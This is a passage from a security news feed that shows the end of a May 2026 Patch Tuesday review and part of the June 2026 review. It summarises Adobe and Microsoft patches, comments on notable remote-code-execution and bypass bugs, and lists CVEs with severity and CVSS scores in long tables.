CVE-2026-41107 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 7.4 No No Info
CVE-2026-40416 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The June 2026 Security Update Review]]> https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ Sat, 25 Jul 2026 19:02:53 +0200 đŸ•”ïž Hacking tsecurity.de I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-66 Adobe Campaign Classic 2 Critical 10.0 No 1
APSB26-64 Adobe ColdFusion 7 Critical 9.6 No 1
APSB26-63 Adobe Acrobat Reader 20 Critical 7.8 No 2
APSB26-57 Adobe Experience Manager Forms 3 Critical 9.3 No 2
APSB26-62 Adobe Dreamweaver 5 Critical 8.6 No 3
APSB26-65 Adobe Format Plugins 2 Critical 7.8 No 3
APSB26-59 Adobe InCopy 3 Critical 7.8 No 3
APSB26-58 Adobe InDesign 12 Critical 7.8 No 3
APSB26-60 Adobe Substance 3D Sampler 4 Critical 7.8 No 3
APSB26-61 Content Credentials SDK 8 Critical 7.5 No 3
APSB26-56 Adobe Experience Manager 57 Important 5.4 No 3
TOTAL 11 bulletins 123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

-    CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

-    CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

-    CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

 Here’s the full list of CVEs released by Microsoft for June 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited XI Type
CVE-2026-41091 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes Yes 0 EoP
CVE-2026-49160 HTTP.sys Denial of Service Vulnerability Important 7.5 Yes No 1 DoS
CVE-2026-50507 Windows BitLocker Security Feature Bypass Vulnerability Important 6.8 Yes No 1 SFB
CVE-2026-45586 Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability Important 7.8 Yes No 1 EoP
CVE-2025-10263 * ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel] Critical 9.3 No No 2 EoP
CVE-2026-48567 Azure HorizonDB Elevation of Privilege Vulnerability Critical 10 No No N/A EoP
CVE-2026-32193 Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-47644 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 6.5 No No 2 Info
CVE-2026-44815 DHCP Client Service Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47291 HTTP.sys Remote Code Execution Vulnerability Critical 9.8 No No 1 RCE
CVE-2026-42824 M365 Copilot Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45476 Microsoft Azure Network Adapter Elevation of Privilege Vulnerability Critical 8.2 No No 2 EoP
CVE-2026-44810 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Critical 8.4 No No 2 EoP
CVE-2026-48579 Microsoft Exchange Online Information Disclosure Vulnerability Critical 9.1 No No N/A Info
CVE-2026-47655 Microsoft Graph Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45497 Microsoft M365 Copilot Remote Code Execution Vulnerability Critical 7.7 No No N/A RCE
CVE-2026-45460 Microsoft Office Information Disclosure Vulnerability Critical 4.7 No No 3 Info
CVE-2026-45472 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45474 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45461 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45463 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45456 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45458 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47635 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-26142 Nuance PowerScribe Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47289 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 2 RCE
CVE-2026-47654 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 3 RCE
CVE-2026-48563 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42992 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44799 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44801 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42985 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 1 RCE
CVE-2026-45648 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-42987 Windows Deployment Services (WDS) Remote Code Execution Critical 8.1 No No 2 RCE
CVE-2026-33828 Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability Critical 7.8 No No 3 EoP
CVE-2026-44803 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-44812 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-45607 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45641 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47652 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.2 No No 2 RCE
CVE-2026-47288 Windows Kerberos Key Distribution Center (KDC) Remote Code Execution Critical 7.1 No No 3 RCE
CVE-2026-45657 Windows Kernel Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-48574 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No 2 RCE
CVE-2026-45490 .NET SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45491 .NET Tampering Vulnerability Important 6.2 No No 3 Tampering
CVE-2026-45591 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No 2 DoS
CVE-2026-47643 Azure Stack Edge Remote Code Execution Vulnerability Important 9.8 No No 3 RCE
CVE-2026-41098 Azure Stack Edge Spoofing Vulnerability Important 8.4 No No 2 Spoofing
CVE-2026-45642 Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability Important 3.9 No No 2 Spoofing
CVE-2026-45650 Microsoft Bing Search Spoofing Vulnerability Important 4.3 No No 2 Spoofing
CVE-2026-45637 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45647 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No 2 EoP
CVE-2026-40371 Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-44822 Microsoft Excel Information Disclosure Vulnerability Important 8.2 No No 3 Info
CVE-2026-45455 Microsoft Excel Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-45469 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44817 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 3 RCE
CVE-2026-44818 Microsoft Excel Remote Code Execution Vulnerability Important 7 No No 2 RCE
CVE-2026-44820 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44823 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45459 Microsoft Excel Security Feature Bypass Vulnerability Important 3.3 No No 2 SFB
CVE-2026-45504 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 8.8 No No 3 EoP
CVE-2026-45502 Microsoft Exchange Server Information Disclosure Vulnerability Important 5 No No 3 Info
CVE-2026-45503 Microsoft Exchange Server Information Disclosure Vulnerability Important 8.1 No No 3 Info
CVE-2026-45583 Microsoft Exchange Server Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45500 Microsoft Exchange Server Spoofing Vulnerability Important 6.1 No No 2 Spoofing
CVE-2026-45501 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No 2 Spoofing
CVE-2026-47631 Microsoft Exchange Server Spoofing Vulnerability Important 8.1 No No 2 Spoofing
CVE-2026-42986 Microsoft Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-41092 Microsoft Kinect Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45644 Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability Important 8 No No 2 EoP
CVE-2026-47293 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45485 Microsoft Office Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-44821 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45483 Microsoft Office Project Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45475 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44819 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44824 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45645 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-49161 Microsoft PC Manager Security Feature Bypass Vulnerability Important 7.8 No No 3 SFB
CVE-2026-42902 Microsoft PowerToys Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45484 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-45454 Microsoft SharePoint Remote Code Execution Vulnerability Important 6.5 No No 2 RCE
CVE-2026-47298 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No 2 RCE
CVE-2026-45467 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45468 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45479 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45453 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47636 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47637 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47638 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47639 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 3 Spoofing
CVE-2026-47641 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-33113 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45462 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45464 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45465 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47634 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-47640 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 3 Spoofing
CVE-2026-45481 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-48560 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-48562 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-42835 Microsoft Teams for Android Information Disclosure Vulnerability Important 8.1 No No 2 Info
CVE-2026-45606 Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability Important 5.5 No No 2 DoS
CVE-2026-45482 Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability Important 8.4 No No 2 SFB
CVE-2026-45466 Microsoft Word Information Disclosure Vulnerability Important 3.3 No No 3 Info
CVE-2026-45471 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45486 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45643 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45457 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-42980 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-42916 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45649 Office for Android Spoofing Vulnerability Important 7.1 No No 3 Spoofing
CVE-2026-47653 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No 3 RCE
CVE-2026-42909 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42913 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42993 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45588 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48568 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48570 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48573 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48575 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48576 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48578 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45654 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45656 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-8863 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-40376 Visual Studio Code Elevation of Privilege Vulnerability Important 7.5 No No 2 EoP
CVE-2026-47281 Visual Studio Code Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-47284 Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47292 Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-48569 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No 2 SFB
CVE-2026-47287 Visual Studio Code Tampering Vulnerability Important 6.5 No No 2 Tampering
CVE-2026-42829 Windows Administrator Protection Secure Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-34335 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45601 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45598 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45596 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45638 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45603 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42911 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45594 Windows Application Identity (AppID) Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45655 Windows BitLocker Security Feature Bypass Vulnerability Important 5.3 No No 2 SFB
CVE-2026-45658 Windows BitLocker Security Feature Bypass Vulnerability Important 7.8 No No 1 SFB
CVE-2026-45640 Windows Bluetooth Port Driver Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45605 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-47656 Windows Boot Manager Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-44809 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45634 Windows DHCP Client Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-45608 Windows DHCP Client Information Disclosure Vulnerability Important 6.8 No No 3 Info
CVE-2026-41108 Windows DNS Client Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42905 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-44811 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44808 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44807 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42983 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44802 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44813 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44804 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-48566 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-44814 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45602 Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability Important 9.1 No No 2 Tampering
CVE-2026-42836 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42910 Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42972 Windows Hyper-V Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45592 Windows Internet (wininet.dll) Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42903 Windows Kerberos Denial of Service Vulnerability Important 6.5 No No 3 DoS
CVE-2026-42914 Windows Kerberos Denial of Service Vulnerability Important 5.3 No No 2 DoS
CVE-2026-48583 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45653 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42984 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45600 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45604 Windows Managed Installer Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45595 Windows Mark of the Web Security Feature Bypass Vulnerability Important 5.4 No No 2 SFB
CVE-2026-45636 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-50508 Windows NTLM Spoofing Vulnerability Important 6.5 No No 1 Spoofing
CVE-2026-48565 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44805 Windows Network Controller (NC) Host Agent Denial of Service Vulnerability Important 5.5 No No 3 DoS
CVE-2026-42981 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-42974 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45487 Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42828 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42837 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42969 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-42971 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42970 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42973 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42978 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42977 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42979 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42991 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45639 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-42908 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-45593 Windows SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42906 Windows Shell Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42907 Windows Shell Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47648 Windows Storage Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42915 Windows TCP/IP Denial of Service Vulnerability Important 5.7 No No 2 DoS
CVE-2026-42904 Windows TCP/IP Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
